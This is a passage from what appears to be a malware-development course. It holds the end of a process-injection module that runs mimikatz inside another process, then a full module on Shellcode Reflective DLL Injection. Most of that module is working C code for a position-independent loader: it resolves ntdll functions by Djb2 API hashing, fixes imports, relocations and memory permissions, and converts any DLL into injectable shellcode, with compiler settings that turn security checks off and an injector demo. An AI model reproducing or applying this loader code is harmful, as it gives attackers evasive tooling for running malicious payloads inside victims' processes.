return bResult;
}
Demo
The images below showcase mimikatz.exe executing in the address space of an aitstatic.exe process. First, the remote aitstatic.exe process is created with a PID equal to
26344 .
Next, we check the HH77C1.tmp file's digital signature serial number and compare it to the aitstatic.exe executable image. Our implementation uses the aitstatic.exe file to
overwrite the PE payload in the temporary file, which explains the matching serial number in the following image.
The image below shows the mapped section at 0x00007FF774140000 . Notice how it's mapped alongside the process's image, aitstatic.exe , at 0x00007FF7750F0000 , and not
replacing it, as in Process Herpaderping.
Module 43 Shellcode Reflective DLL Injection (sRDI
Introduction
Shellcode Reflective DLL Injection or sRDI is a technique used to dynamically load a DLL into the memory of a target process without following the PE injection steps (e.g. PE
relocations) in the process. This is achieved by prepending the DLL with a position-independent shellcode that executes the required PE injection steps. This technique is used by
many C2 frameworks when creating a shellcode agent (e.g. Metasploit).
This module will incorporate methods from the Reflective DLL Injection module and therefore it is advised to review that module for a comprehensive understanding. At the end of this
module, the reader will be able to build an implementation that can turn any DLL into a position-independent shellcode reflective DLL.
RDI Vs sRDI
In RDI, the final implementation is a DLL file executed by a specialized loader. This loader requires the reflective DLL to export a specific function, whose address in the target process's
memory is calculated at a certain point during the injection process. This special function, named ReflectiveFunction in the Reflective DLL Injection module, is the function that is
responsible for parsing the reflective DLL and executing its entry point.
On the other hand, with sRDI, the injection process does not require a special loader and instead, the ReflectiveFunction function will be represented as a shellcode that is prefixed
to a DLL payload file, making the sRDI a more flexible injection technique.
1. The loader does not have to calculate an address to execute the payload.
2. The DLL payload can be any DLL file.
As mentioned earlier, an sRDI payload consists of two parts, the reflective DLL shellcode and the DLL payload. In memory, an sRDI payload will look as follows:
Configuration Properties > Advanced > Whole Program Optimization > No Whole Program Optimization
C/C++ > General > Debug Information Format > Program Database for Edit And Continue (/ZI)
C/C++ > General > Support Just My Code Debugging > No
C/C++ > General > SDL Checks > No (/sdl-)
C/C++ > Optimization > Optimization > Disabled (/Od)
C/C++ > Optimization > Whole Program Optimization > No
C/C++ > Code generation > Runtime Library > Multi-threaded DLL (/MD)
C/C++ > Code generation > Security Check > Disable Security Check (/GS-)
C/C++ > Code generation > Enable C++ Exceptions > No
C/C++ > Code generation > Enable Function-Level Linking > Yes (/Gy)
Linker > General > Enable Incremental Linking > Yes (/INCREMENTAL)
Linker > Manifest File > Generate Manifest > No (/MANIFEST:NO)
Linker > Debugging > Generate Debug Info > No
Linker > Optimization > Enable COMDAT Folding > Yes (/OPT:ICF)
sRDI Guidelines
When building a shellcode reflective DLL, global variables, WinAPIs, and CRT-library functions should be completely avoided. This is because the code should be built as position-
independent code, and thus the use of external DLL libraries may result in accessing invalid addresses and cause the shellcode to crash.
To call a WinAPI, we should parse the called WinAPI's address manually as we've done in the past when building replacement functions for GetModuleHandle and GetProcAddress .
Furthermore, it is advised that all of the functions used in the reflective shellcode are exported from ntdll.dll because ntdll.dll is always loaded into every process at creation.
Therefore using ntdll.dll exported functions will allow us to execute our code without loading an additional DLL library (e.g. Kernel32.dll ).
The final item to keep in mind is that the functions that will form the reflective DLL shellcode must be directly aligned with each other. This means that the functions will be aligned in
memory adjacent to one another. Failing to do so will result in an invalid address when extracting the shellcode from the PE file. The following image shows the difference between a
function-aligned reflective DLL shellcode and an unaligned one.
Macros
The code discussed in this module will make use of some user-defined macros. These macros are split into the following types:
1.Memory Manipulation Macros: Utilizing the __movsb and __stosb intrinsic functions. As mentioned earlier in the course, an intrinsic function is a function that is processed by the
compiler itself, and not at runtime. Intrinsic functions will be used instead of CRT-library functions due to the aforementioned sRDI requirements.
2.Type-Casting Macros: These are macros that are used to type-cast input variables.
The ShellcodeReflectiveLdr function is shown below and accepts an optional parameter, pParameter , which can be passed by the loader program executing the sRDI payload. For
example, if the program injecting the sRDI payload was using the CreateThread WinAPI for payload execution, it can populate the pParameter parameter of the
ShellcodeReflectiveLdr function by passing it through the lpParameter parameter of the CreateThread WinAPI. Finally, ShellcodeReflectiveLdr passes the pParameter parameter
to the DllMain function of the DLL payload that is prepended to the reflective DLL shellcode.
WIN32_API Win32Apis = { 0 };
DLL_MAIN DllMain = { 0 };
ULONG_PTR uDllAddress = NULL;
PVOID pInjectionAddress = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
ULONG uDosHdrSignature = IMAGE_DOS_SIGNATURE,
uNtHdrsSignature = IMAGE_NT_SIGNATURE;
SIZE_T ImageSize = 0x00;
MemZero(&Win32Apis, sizeof(Win32Apis));
// ------------------------------------------------------------------------------------------------------
// ------------------------------------------------------------------------------------------------------
if (((PIMAGE_DOS_HEADER)uDllAddress)->e_magic == uDosHdrSignature) {
// Check if matches with Nt signature
pImgNtHdrs = C_PTR(uDllAddress + ((PIMAGE_DOS_HEADER)uDllAddress)->e_lfanew);
if (pImgNtHdrs->Signature == uNtHdrsSignature)
break;
}
uDllAddress++;
} while (TRUE);
ImageSize = pImgNtHdrs->OptionalHeader.SizeOfImage;
// ------------------------------------------------------------------------------------------------------
// ------------------------------------------------------------------------------------------------------
// Perform PE relocations
FixPeRelocations(pImgNtHdrs, pInjectionAddress);
// ------------------------------------------------------------------------------------------------------
// ------------------------------------------------------------------------------------------------------
_END_OF_FUNC:
return pInjectionAddress;
}
The following sections will discuss each function invoked by the ShellcodeReflectiveLdr function.
NTSTATUS(*NtProtectVirtualMemory) (
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG NewProtect,
_Out_ PULONG OldProtect
);
NTSTATUS(*NtFlushInstructionCache)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ SIZE_T Length
);
NTSTATUS(*LdrLoadDll)(
_In_opt_ PWSTR DllPath,
_In_opt_ PULONG DllCharacteristics,
_In_ PUNICODE_STRING DllName,
_Out_ PVOID* DllHandle
);
NTSTATUS(*LdrGetProcedureAddress)(
_In_ PVOID DllHandle,
_In_opt_ PANSI_STRING ProcedureName,
_In_opt_ ULONG ProcedureNumber,
_Out_ PVOID* ProcedureAddress
);
} WIN32_API, * PWIN32_API;
The user should be familiar with the first three functions, however, the below functions are replacements of kernel32.dll exported APIs.
Both of these functions are used when fixing the IAT of the target process.
Moreover, the InitializeWinApi32 function accepts a single parameter, pWin32Apis , which is a pointer to the WIN32_API structure. The InitializeWinApi32 function will search for
ntdll.dll 's base address in the target process's memory, and proceed to fetch the addresses of each of the functions in the WIN32_API structure using API Hashing. The hashes are
calculated using the HashCalculator.exe binary that's provided in this module and uses the Djb2 string hashing algorithm.
// Iterate over the LDR_DATA_ENTRY to get the base address of ntdll to resolve our APIs
pPeb = CurrentPeb();
pHeadEntry = C_PTR(&pPeb->Ldr->InLoadOrderModuleList);
pFlinkEntry = C_PTR(pHeadEntry->Flink);
uCurrentChar = *puTmpBfrPntr;
if (!*puTmpBfrPntr)
++puTmpBfrPntr;
// Calculate hash
uHashValue = ((uHashValue << 5) + uHashValue) + uCurrentChar;
++puTmpBfrPntr;
} while (TRUE);
// Found ntdll
if (uHashValue == H_DLL_NTDLL) {
uNtdllModule = pLdrEntry->DllBase;
break;
}
uCurrentChar = *puTmpBfrPntr;
if (!*puTmpBfrPntr)
break;
// Calculate hash
uHashValue = ((uHashValue << 5) + uHashValue) + uCurrentChar;
++puTmpBfrPntr;
} while (TRUE);
switch (uHashValue) {
case H_API_LDRLOADDLL:
pWin32Apis->LdrLoadDll = C_PTR(puTmpBfrPntr);
break;
case H_API_LDRGETPROCEDUREADDRESS:
pWin32Apis->LdrGetProcedureAddress = C_PTR(puTmpBfrPntr);
break;
case H_API_NTALLOCATEVIRTUALMEMORY:
pWin32Apis->NtAllocateVirtualMemory = C_PTR(puTmpBfrPntr);
break;
case H_API_NTPROTECTVIRTUALMEMORY:
pWin32Apis->NtProtectVirtualMemory = C_PTR(puTmpBfrPntr);
break;
case H_API_NTFLUSHINSTRUCTIONCACHE:
pWin32Apis->NtFlushInstructionCache = C_PTR(puTmpBfrPntr);
break;
default:
break;
}
}
ULONG_PTR ReturnBaseAddress() {
return U_PTR(_ReturnAddress());
}
The ReturnBaseAddress function is located as the last function in the function order (discussed in further detail in a later section). This will force the address returned by the
ReturnBaseAddress function to be the closest to the base address of the DLL payload file which is prepended with the shellcode. The reason behind this is to make it easier to fetch
the reflective DLL's PE headers as shown in the following snippet taken from the ShellcodeReflectiveLdr function.
If the ReturnBaseAddress function were to be placed in a different position in the order of the functions, the do-while loop would take more time to find the base address of the DLL
payload and potentially return an invalid address due to a false positive match.
// ...
if (((PIMAGE_DOS_HEADER)uDllAddress)->e_magic == uDosHdrSignature) {
// Check if matches with Nt signature
pImgNtHdrs = C_PTR(uDllAddress + ((PIMAGE_DOS_HEADER)uDllAddress)->e_lfanew);
if (pImgNtHdrs->Signature == uNtHdrsSignature)
break;
}
uDllAddress++;
} while (TRUE);
// ...
MemZero(szTmpWideStr, sizeof(szTmpWideStr));
if ((pImgDataDir->VirtualAddress)) {
MemZero(szTmpWideStr, sizeof(szTmpWideStr));
// Initialize 'UNICODE_STRING'
UnicodeString.Length = UnicodeString.MaximumLength = sTmpSize1 * sizeof(WCHAR);
UnicodeString.MaximumLength += sizeof(WCHAR);
UnicodeString.Buffer = szTmpWideStr;
// Load module
if (!NT_SUCCESS(pWin32Apis->LdrLoadDll(NULL, 0, &UnicodeString, &pLoadedModule)))
return FALSE;
// Load function
for (; pImgThunkOrign->u1.AddressOfData; ++pImgThunkOrign, ++pImgThunkFirst) {
pFunctionAddress = NULL;
// Import by ordinal
if (IMAGE_SNAP_BY_ORDINAL(pImgThunkOrign->u1.Ordinal)) {
// Fetch 'pFunctionAddress'
if (!NT_SUCCESS(pWin32Apis->LdrGetProcedureAddress(pLoadedModule, NULL, IMAGE_ORDINAL(pImgThunkOrign->u1.Ordinal), &pFunctionAddress)))
return FALSE;
}
// Import by name
else {
// Initialize 'ANSI_STRING'
AnsiString.Length = AnsiString.MaximumLength = sTmpSize1;
AnsiString.MaximumLength += sizeof(CHAR);
AnsiString.Buffer = pImprtByName->Name;
// Fetch 'pFunctionAddress'
if (!NT_SUCCESS(pWin32Apis->LdrGetProcedureAddress(pLoadedModule, &AnsiString, 0, &pFunctionAddress)))
return FALSE;
}
pImgThunkFirst->u1.Function = U_PTR(pFunctionAddress);
}
}
}
return TRUE;
}
if (pImgDataDir->VirtualAddress) {
while (pImgBaseReloc->SizeOfBlock) {
while (SizeOfBlock--) {
switch (pImgReloc->Type) {
case IMAGE_REL_BASED_HIGH: {
*((WORD*)pAddressOfBlock) += HIWORD(uRelocOffset);
break;
};
case IMAGE_REL_BASED_LOW: {
*((WORD*)pAddressOfBlock) += LOWORD(uRelocOffset);
break;
};
case IMAGE_REL_BASED_HIGHLOW: {
*((DWORD*)pAddressOfBlock) += (DWORD)uRelocOffset;
break;
};
case IMAGE_REL_BASED_DIR64: {
*((ULONG_PTR*)pAddressOfBlock) += (ULONG_PTR)uRelocOffset;
break;
};
default:
break;
}
pImgReloc += sizeof(IMAGE_RELOC);
}
pImgBaseReloc += pImgBaseReloc->SizeOfBlock;
}
}
}
// RO
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
uMemPageProtect = PAGE_READONLY;
// RW
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_READWRITE;
// RX
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_EXECUTE_READ;
// RWX
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics
& IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_EXECUTE_READWRITE;
return TRUE;
}
Function Order
Before moving on to how one can extract the reflective DLL shellcode from the compiled executable file, it is important to align the above functions so that each function is located
under the other. The first function in the order should be ShellcodeReflectiveLdr and the last one should be ReturnBaseAddress .
The function alignment is done using the /ORDER Visual Studio compiler option. This option is located under Linker > Optimization > Function Order , where it accepts a text file
name that specifies the link order for the functions.
With this being said, we will create a text file named FunctionOrder.txt in the same directory as the *.vcxproj file of the Visual Studio project. FunctionOrder.txt will contain
function names that are found in the code, in the order we want. The contents of the FunctionOrder.txt function are displayed below.
ShellcodeReflectiveLdr
InitializeWinApi32
FixImportAddressTable
FixPeRelocations
FixMemPermissions
ReturnBaseAddress
EndOfCode
#define GET_FILENAME(PATH) (strrchr(PATH, '/') ? strrchr(PATH, '/') + 1 : (strrchr(PATH, '\\') ? strrchr(PATH, '\\') + 1 : PATH))
#define DEFAULT_PAYLOAD_NAME "sRDIPayload.bin"
typedef struct {
PVOID Buffer;
ULONG Length;
} BUFFER;
BUFFER BfrReflectiveLdr = { 0 },
BfrDllPayload = { 0 },
BfrOutputPayload = { 0 };
if (argc < 2)
return PrintHelp(argv);
BfrReflectiveLdr.Buffer = ShellcodeReflectiveLdr;
BfrReflectiveLdr.Length = (ULONG_PTR)EndOfCode - (ULONG_PTR)BfrReflectiveLdr.Buffer;
printf("[+] DONE\n");
_END_OF_FUNC:
if (BfrDllPayload.Buffer)
HeapFree(GetProcessHeap(), 0x00, BfrDllPayload.Buffer);
if (BfrOutputPayload.Buffer)
HeapFree(GetProcessHeap(), 0x00, BfrOutputPayload.Buffer);
return 0;
}
Demo
For testing purposes, two new projects are created:
1. DllMsgBox The test DLL file that will be converted to a reflective DLL using the extracted shellcode. This DLL will call MessageBoxA , as well as print information regarding the DLL's
execution properties (text section address, passed parameter's address).
2. ShellcodeInjector The shellcode injector. This program will read the generated .bin file from the disk, and inject it into the current process using the CreateThread WinAPI.
View the sRDIPayload.bin file in a hex editor. The DLL is appended at offset 0xE10 , which is 3600 in decimal (the size of the reflective DLL shellcode).
Next, we execute the sRDIPayload.bin file using ShellcodeInjector.exe . sRDIPayload.bin is injected at 0x000001EB98BE0000 , where the text section of the DLL is at
0x000001EB98EB1000 .